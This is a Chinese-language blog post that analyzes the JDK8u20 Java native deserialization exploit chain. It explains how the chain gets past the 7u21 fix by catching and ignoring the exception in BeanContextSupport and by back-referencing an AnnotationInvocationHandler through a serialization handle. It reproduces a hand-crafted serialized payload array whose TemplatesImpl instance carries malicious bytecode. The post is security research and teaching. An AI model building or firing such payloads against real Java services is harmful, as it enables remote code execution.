Javaweb安全——反序列化漏洞-原生利用链JDK8u20

JDK8u20原生反序列化利用链

JDK7u21的修复

回顾一下JDK7u21那个链子,主体部分是通过sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl方法去调用Method.invoke。equalsImpl会将this.type 类中的所有方法遍历并执行,通过设置Templates类,则势必会调用到其中的 getOutputProperties()方法,进而触发任意代码执行。

从7u25修复了这个利用链,AnnotationInvocationHandler 的反序列化逻辑发生了改变,将会判断this.type字段值是否是 Annotation 注解类型,不是则直接抛出异常。

image-20221022222901353

image-20221022222846877

捕获并忽略异常

如果能够捕获该异常,然后继续反序列化流的其余部分,这些流可能再次包含对该恶意对象的回溯引用,如:

ObjectInputStream stream = ...;
try {
  stream.readObject();
} catch (Exception e) {
  // ignoring exceptions is a great idea!
}
foo = stream.readObject();

JDK8u20中使用BeanContextSupport类来捕获并忽略异常,利用BeanContextSupport#readObject当中反序列化子BeanContext

image-20221022232544945

BeanContextSupport#readChildren只是捕获了异常并没有抛出,不会中断后面的程序执行。那么将AnnotationInvocationHandler在这里反序列化就不会因为异常中断了,从而绕过异常检查(AnnotationInvocationHandler在抛出异常之前会先执行var1.defaultReadObject()还原对象)。

image-20221022232636539

和7u21的差别也就在这了,具体如图所示

图截取自:《JDK原生反序列化链演化研究 》

image-20221023201601797

image-20221023201618152

构造Payload

看了半天文章自己也没能搓出来exp,直接拿这个大佬的EXP调试一下,理解过程

https://github.com/pwntester/JRE8u20_RCE_Gadget

进入defaultReadFields()方法读取代理类属性,多了一个Ljava/lang/Object; 类型的dummy

image-20221023205430190

image-20221023205446630

image-20221023204553631

但代理类只有一个属性h,所以这玩意就得手搓序列化数据

image-20221023205629191

在反序列化的时候会抛弃这个不存在的dummy成员,但是仍然会为其进行反序列化操作,并分配一个可被引用的handle。

接着就是进入前面提到的BeanContextSupport#readChildren的try-catch执行child = ois.readObject();,会继续从stream中读取一个object,也就是恶意的sun.reflect.annotation.AnnotationInvocationHandler对象。

对应exp中的这一段:

image-20221023214822648

识别到TC_OBJECT-->TC_CLASSDESC,进入readNonProxyDesc()

image-20221023221449190

image-20221023221504828

image-20221023221518997

image-20221023222118261

还原sun.reflect.annotation.AnnotationInvocationHandler类,并给其分配一个handle,方便第二个属性那直接引用,从而绕过错误抛出。

在抛出异常之后,被catach捕获然后直接continue,回到 ObjectInputStream.defaultReadFields() 读取属性值的循环。

接着readObject第二个属性 h,属性值为Ljava/lang/reflect/InvocationHandler; 类型,通过在这个proxy的h属性中直接构造TC_REFREENCE, Y来引用上面已经反序列化的恶意 AnnotationInvocationHandler对象。

  • TC_REFERENCE 标志位,表示存在对数据流中对象的引用

  • Y为handle的偏移量。

image-20221023222624433

image-20221023222708364

对应exp中的这一段:

image-20221023215722626

得到AnnotationInvocationHandler对象之后的事情就和7u21一样了。

这个利用链难点其实在构造payload,最好先了解一下序列化后的结构

https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

new Object[]{
        STREAM_MAGIC, STREAM_VERSION, // stream headers
        // (1) LinkedHashSet
        TC_OBJECT,
        TC_CLASSDESC,
        LinkedHashSet.class.getName(), //LinkedHashSet类名,同时会写入类名长度和类名
        -2851667679971038690L, //suid,十六进制为 0xd8 6c d7 5a 95 dd 2a 1e
        (byte) 2,              // flags:SC_SERIALIZABLE,表示可以被序列化,实现了Serializable类
        (short) 0,             // field count
        TC_ENDBLOCKDATA,  // 数据块的终结
        TC_CLASSDESC,          // super class
        HashSet.class.getName(), // HashSet类名,同时会写入类名长度和类名
        -5024744406713321676L,  // suid,十六进制为 0xba 44 85 95 96 b8 b7 34
        (byte) 3,              // flags  SC_WRITE_METHOD | SC_SERIALIZABLE ,表示目标类实现了Serializable,且重写了writeObject
        (short) 0,             // field count
        TC_ENDBLOCKDATA,
        TC_NULL,               // no superclass
        // 被 HashSet.readObject() 读取的数据块
        // 配置 HashSet (capacity, loadFactor, size and items)
        TC_BLOCKDATA, //可选数据块
        //0c 0000 0010 3f40 0000 0000 0002
        (byte) 12, //0c
        (short) 0, // 00
        (short) 16,            // capacity 容量,默认为16, 0x10
        (short) 16192, (short) 0, (short) 0, // loadFactor  最大负载量,默认值为0.75f,这块十六进制数据为 0x3f40 0000
        (short) 2,             // size  0x02,表示成员为2
        // (2) First item in LinkedHashSet
        templates, // 携带恶意字节码的 TemplatesImpl实例   
        // (3) Second item in LinkedHashSet
        // Templates Proxy with AnnotationInvocationHandler handler
        TC_OBJECT,
        TC_PROXYCLASSDESC,          // 新建代理类声明
        1,                          // one interface  没有实际写入
        Templates.class.getName(),  // the interface implemented by the proxy   Templates的长度0x3a和类名0x636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c
        TC_ENDBLOCKDATA,
        TC_CLASSDESC,
        Proxy.class.getName(),      // java.lang.Proxy class desc
        -2222568056686623797L,      // serialVersionUID 0x09 57 4f c1 6e ac ab 33
        SC_SERIALIZABLE,            // flags 0x02 实现了Serializable
        (short) 2,                  // field count
        (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field 新建String对象 value为Ljava/lang/Object;
        (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field 新建String对象  value为Ljava/lang/reflect/InvocationHandler;
        TC_ENDBLOCKDATA,
        TC_NULL,                    // no superclass
        // (3) Field values
        // dummy 属性的值 <--- BeanContextSupport.
        // 这个属性实际不存在,所以反序列化之后会被忽略
        // (4) BeanContextSupport
        TC_OBJECT,
        TC_CLASSDESC,
        BeanContextSupport.class.getName(), //0x6a6176612e6265616e732e6265616e636f6e746578742e4265616e436f6e74657874537570706f7274
        -4879613978649577204L,      // serialVersionUID
        (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), //3
        (short) 1,                  // field count
        (byte) 'I', "serializable", // serializable field, number of serializable children
        TC_ENDBLOCKDATA,
        TC_CLASSDESC,               // super class
        BeanContextChildSupport.class.getName(), //0x6a6176612e6265616e732e6265616e636f6e746578742e4265616e436f6e746578744368696c64537570706f7274
        6328947014421475877L,
        SC_SERIALIZABLE,
        (short) 1,                  // field count
        (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
        TC_ENDBLOCKDATA,
        TC_NULL,                    // no superclass
        // (4) Field values
        // beanContextChildPeer 必须指向 BeanContextSupport 为了让 BeanContextSupport.readObject 进入 BeanContextSupport.readChildren()
        TC_REFERENCE, baseWireHandle + 12,  // baseWireHandle为0x7e0000,第一个handle值
        // serializable: one serializable child
        1,
        //添加一个额外的对象,它没有被声明,但是被 readObject 读取
        // BeanContextSupport.readObject 调用 readChildren 因为我们说过我们有一个可序列化的子元素但它不在字节数组中
        // 所以调用 child = ois.readObject() 将会反序列化数据流中的下一个对象: the AnnotationInvocationHandler
        // 此时,我们进入AnnotationInvocationHandler的readObject,它将在反序列化其默认对象后抛出异常
        // (5) AnnotationInvocationHandler 将被反序列化作为 BeanContextSupport 的一部分
        TC_OBJECT,
        TC_CLASSDESC,
        "sun.reflect.annotation.AnnotationInvocationHandler",
        6182022883658399397L,       // serialVersionUID
        (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
        (short) 2,                  // field count
        (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",         // type field
        (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",   // memberValues field
        TC_ENDBLOCKDATA,
        TC_NULL,                    // no superclass
        // (5) Field Values
        Templates.class,            // type field value
        map,                        // memberValues field value
        // note: 通常 BeanContextSupport.readChildren 会去读取 CSChild; 但是因为上面的AnnotationInvocationHandler 反序列化抛出异常
        // 我们跳过它进入catch模块,继续进行readChildren
        // 异常将会带我们走出readChildren,进入BeanContextSupport.readObject
        // 调用 deserialize(ois, bcmListeners = new ArrayList(1));
        // 在 deserialize() 中有一个int 类型的 read (0) ,它将会对去更多的obejcts (0)
        TC_BLOCKDATA,
        (byte) 4,                   // block length
        0,                          // no BeanContextSupport.bcmListenes
        TC_ENDBLOCKDATA,
        // (6) value for the Proxy.h field
        TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler,baseWireHandle为0x7e0000,offset为0
        TC_ENDBLOCKDATA,
};

这玩意还得去算h的偏移量,原作者的代码中完事还用了patch函数去修复

image-20221023234230927

计算偏移量的话可以参考这两篇文件

https://www.anquanke.com/post/id/87270

https://www.freebuf.com/vuls/176672.html

参考

更多序列化黑客与注释调用处理程序 - Wouter Coekaerts

https://paper.seebug.org/1232/

https://www.freebuf.com/vuls/176672.html

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值